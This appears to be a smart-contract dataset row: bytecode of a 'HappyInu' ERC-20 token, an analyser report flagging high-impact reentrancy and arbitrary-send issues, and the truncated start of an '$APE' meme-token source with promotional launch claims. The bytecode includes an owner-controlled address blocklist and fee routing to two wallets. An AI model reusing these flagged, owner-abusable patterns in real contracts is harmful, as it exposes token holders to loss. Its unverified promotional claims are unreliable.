0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ee6565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a09565b610441565b6040516101789190612ecb565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613088565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129ba565b610470565b6040516101e09190612ecb565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061292c565b610549565b005b34801561021e57600080fd5b50610227610639565b60405161023491906130fd565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a86565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f919061292c565b610766565b6040516102b19190613088565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612dfd565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612ee6565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a09565b610970565b60405161035b9190612ecb565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a45565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad8565b6110b4565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061297e565b6111fd565b6040516104189190613088565b60405180910390f35b60606040518060600160405280602281526020016137c160229139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b610539856040518060600160405280602881526020016137e360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612fc8565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612fc8565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c7a565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9b565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612fc8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4841505059000000000000000000000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612fc8565b60405180910390fd5b60005b8151811015610ada576001600a6000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad29061339e565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611e09565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612fc8565b60405180910390fd5b600f60149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490613048565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b9190612955565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190612955565b6040518363ffffffff1660e01b8152600401610e02929190612e18565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e549190612955565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612e6a565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c9190612b01565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612e41565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612aaf565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612fc8565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f88565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea0000061210390919063ffffffff16565b61217e90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f29190613088565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390613028565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612f48565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613088565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90613008565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612f08565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612fe8565b60405180910390fd5b61158261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5357600f60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613068565b60405180910390fd5b5b5b60105481111561183257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118df57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f85750600f60179054906101000a900460ff165b15611a995742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4857600080fd5b603c42611a5591906131be565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa430610766565b9050600f60159054906101000a900460ff16158015611b115750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b295750600f60169054906101000a900460ff165b15611b5157611b3781611e09565b60004790506000811115611b4f57611b4e47611c7a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0457600090505b611c10848484846121c8565b50505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612ee6565b60405180910390fd5b5060008385611c6d919061329f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cdd600a611ccf60048661210390919063ffffffff16565b61217e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d08573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6c600a611d5e60068661210390919063ffffffff16565b61217e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d97573d6000803e3d6000fd5b5050565b6000600654821115611de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd990612f28565b60405180910390fd5b6000611dec6121f5565b9050611e01818461217e90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e67577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e955781602001602082028036833780820191505090505b5090503081600081518110611ed3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7557600080fd5b505afa158015611f89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fad9190612955565b81600181518110611fe7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120b29594939291906130a3565b600060405180830381600087803b1580156120cc57600080fd5b505af11580156120e0573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121165760009050612178565b600082846121249190613245565b90508284826121339190613214565b14612173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216a90612fa8565b60405180910390fd5b809150505b92915050565b60006121c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612220565b905092915050565b806121d6576121d5612283565b5b6121e18484846122b4565b806121ef576121ee61247f565b5b50505050565b6000806000612202612491565b91509150612219818361217e90919063ffffffff16565b9250505090565b60008083118290612267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225e9190612ee6565b60405180910390fd5b50600083856122769190613214565b9050809150509392505050565b600060085414801561229757506000600954145b156122a1576122b2565b600060088190555060006009819055505b565b6000806000806000806122c6876124f3565b95509550955095509550955061232486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240581612602565b61240f84836126bf565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161246c9190613088565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea0000090506124c7683635c9adc5dea0000060065461217e90919063ffffffff16565b8210156124e657600654683635c9adc5dea000009350935050506124ef565b81819350935050505b9091565b600080600080600080600080600061250f8a600854600c6126f9565b925092509250600061251f6121f5565b905060008060006125328e87878761278f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b60008082846125b391906131be565b9050838110156125f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ef90612f68565b60405180910390fd5b8091505092915050565b600061260c6121f5565b90506000612623828461210390919063ffffffff16565b905061267781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126d48260065461255a90919063ffffffff16565b6006819055506126ef816007546125a490919063ffffffff16565b6007819055505050565b6000806000806127256064612717888a61210390919063ffffffff16565b61217e90919063ffffffff16565b9050600061274f6064612741888b61210390919063ffffffff16565b61217e90919063ffffffff16565b905060006127788261276a858c61255a90919063ffffffff16565b61255a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a8858961210390919063ffffffff16565b905060006127bf868961210390919063ffffffff16565b905060006127d6878961210390919063ffffffff16565b905060006127ff826127f1858761255a90919063ffffffff16565b61255a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282b6128268461313d565b613118565b9050808382526020820190508285602086028201111561284a57600080fd5b60005b8581101561287a57816128608882612884565b84526020840193506020830192505060018101905061284d565b5050509392505050565b6000813590506128938161377b565b92915050565b6000815190506128a88161377b565b92915050565b600082601f8301126128bf57600080fd5b81356128cf848260208601612818565b91505092915050565b6000813590506128e781613792565b92915050565b6000815190506128fc81613792565b92915050565b600081359050612911816137a9565b92915050565b600081519050612926816137a9565b92915050565b60006020828403121561293e57600080fd5b600061294c84828501612884565b91505092915050565b60006020828403121561296757600080fd5b600061297584828501612899565b91505092915050565b6000806040838503121561299157600080fd5b600061299f85828601612884565b92505060206129b085828601612884565b9150509250929050565b6000806000606084860312156129cf57600080fd5b60006129dd86828701612884565b93505060206129ee86828701612884565b92505060406129ff86828701612902565b9150509250925092565b60008060408385031215612a1c57600080fd5b6000612a2a85828601612884565b9250506020612a3b85828601612902565b9150509250929050565b600060208284031215612a5757600080fd5b600082013567ffffffffffffffff811115612a7157600080fd5b612a7d848285016128ae565b91505092915050565b600060208284031215612a9857600080fd5b6000612aa6848285016128d8565b91505092915050565b600060208284031215612ac157600080fd5b6000612acf848285016128ed565b91505092915050565b600060208284031215612aea57600080fd5b6000612af884828501612902565b91505092915050565b600080600060608486031215612b1657600080fd5b6000612b2486828701612917565b9350506020612b3586828701612917565b9250506040612b4686828701612917565b9150509250925092565b6000612b5c8383612b68565b60208301905092915050565b612b71816132d3565b82525050565b612b80816132d3565b82525050565b6000612b9182613179565b612b9b818561319c565b9350612ba683613169565b8060005b83811015612bd7578151612bbe8882612b50565b9750612bc98361318f565b925050600181019050612baa565b5085935050505092915050565b612bed816132e5565b82525050565b612bfc81613328565b82525050565b6000612c0d82613184565b612c1781856131ad565b9350612c2781856020860161333a565b612c3081613474565b840191505092915050565b6000612c486023836131ad565b9150612c5382613485565b604082019050919050565b6000612c6b602a836131ad565b9150612c76826134d4565b604082019050919050565b6000612c8e6022836131ad565b9150612c9982613523565b604082019050919050565b6000612cb1601b836131ad565b9150612cbc82613572565b602082019050919050565b6000612cd4601d836131ad565b9150612cdf8261359b565b602082019050919050565b6000612cf76021836131ad565b9150612d02826135c4565b604082019050919050565b6000612d1a6020836131ad565b9150612d2582613613565b602082019050919050565b6000612d3d6029836131ad565b9150612d488261363c565b604082019050919050565b6000612d606025836131ad565b9150612d6b8261368b565b604082019050919050565b6000612d836024836131ad565b9150612d8e826136da565b604082019050919050565b6000612da66017836131ad565b9150612db182613729565b602082019050919050565b6000612dc96011836131ad565b9150612dd482613752565b602082019050919050565b612de881613311565b82525050565b612df78161331b565b82525050565b6000602082019050612e126000830184612b77565b92915050565b6000604082019050612e2d6000830185612b77565b612e3a6020830184612b77565b9392505050565b6000604082019050612e566000830185612b77565b612e636020830184612ddf565b9392505050565b600060c082019050612e7f6000830189612b77565b612e8c6020830188612ddf565b612e996040830187612bf3565b612ea66060830186612bf3565b612eb36080830185612b77565b612ec060a0830184612ddf565b979650505050505050565b6000602082019050612ee06000830184612be4565b92915050565b60006020820190508181036000830152612f008184612c02565b905092915050565b60006020820190508181036000830152612f2181612c3b565b9050919050565b60006020820190508181036000830152612f4181612c5e565b9050919050565b60006020820190508181036000830152612f6181612c81565b9050919050565b60006020820190508181036000830152612f8181612ca4565b9050919050565b60006020820190508181036000830152612fa181612cc7565b9050919050565b60006020820190508181036000830152612fc181612cea565b9050919050565b60006020820190508181036000830152612fe181612d0d565b9050919050565b6000602082019050818103600083015261300181612d30565b9050919050565b6000602082019050818103600083015261302181612d53565b9050919050565b6000602082019050818103600083015261304181612d76565b9050919050565b6000602082019050818103600083015261306181612d99565b9050919050565b6000602082019050818103600083015261308181612dbc565b9050919050565b600060208201905061309d6000830184612ddf565b92915050565b600060a0820190506130b86000830188612ddf565b6130c56020830187612bf3565b81810360408301526130d78186612b86565b90506130e66060830185612b77565b6130f36080830184612ddf565b9695505050505050565b60006020820190506131126000830184612dee565b92915050565b6000613122613133565b905061312e828261336d565b919050565b6000604051905090565b600067ffffffffffffffff82111561315857613157613445565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c982613311565b91506131d483613311565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613209576132086133e7565b5b828201905092915050565b600061321f82613311565b915061322a83613311565b92508261323a57613239613416565b5b828204905092915050565b600061325082613311565b915061325b83613311565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613294576132936133e7565b5b828202905092915050565b60006132aa82613311565b91506132b583613311565b9250828210156132c8576132c76133e7565b5b828203905092915050565b60006132de826132f1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061333382613311565b9050919050565b60005b8381101561335857808201518184015260208101905061333d565b83811115613367576000848401525b50505050565b61337682613474565b810181811067ffffffffffffffff8211171561339557613394613445565b5b80604052505050565b60006133a982613311565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133dc576133db6133e7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613784816132d3565b811461378f57600080fd5b50565b61379b816132e5565b81146137a657600080fd5b50565b6137b281613311565b81146137bd57600080fd5b5056fe4861707079496e75207c20742e6d652f68617070795f696e755f6f6666696369616c45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202496935d628a5b226101cca5c10f01a2c260375b7e39cfe4404dfcf7a5733abd64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,506
0xcd6C16644A2B26BcD834c17fd1e481650cc3318A
/* ___ ______ _____ _____ ___________ _____ _ _ ___ _ _ _____ / _ \ | ___ \ ___/ ___|_ _| ___ \ _ | \ | | / _ \| | | |_ _| / /_\ \| |_/ / |__ \ `--. | | | |_/ / | | | \| |/ /_\ \ | | | | | | _ || __/| __| `--. \ | | | /| | | | . ` || _ | | | | | | | | | || | | |___/\__/ / | | | |\ \\ \_/ / |\ || | | | |_| | | | \_| |_/\_| \____/\____/ \_/ \_| \_|\___/\_| \_/\_| |_/\___/ \_/ 🏆 $APE 💎 Ethereum / ERC-20 👻 Stealth launch 👩‍👩‍👦‍👦 100% Community Owned 🧑‍💻 No Dev/Team Tokens 🏦 1 Trillion Supply! 💹 Anti dump protocol - 1% Max Supply Buy / Sell Limit (first 2 mins) 🛡 Anti-sniper & Anti-bot scripting 🔐 Liq Lock on Launch 📜 Contract renounced on Launch 💻 Website: https://www.apestronaut.space/ 💬 Telegram: https://t.me/apestronauterc20 Original ape artist: https://rarity.tools/boredapeyachtclub */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 